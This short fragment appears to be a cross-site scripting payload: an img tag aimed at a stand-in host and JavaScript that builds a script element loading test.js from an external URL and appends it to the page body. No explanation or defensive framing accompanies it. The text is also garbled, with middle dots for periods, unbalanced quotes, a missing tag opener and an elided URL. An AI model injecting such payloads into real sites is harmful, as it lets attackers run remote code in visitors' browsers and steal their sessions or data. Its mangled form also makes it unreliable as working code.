...
img src="http://xss.xss/xss.jpg" x='
.."var x=document·createElement('script');x.src='http://www... /.../test.js';document·getElementsByTagName('body')[0]. appendChild(x);" /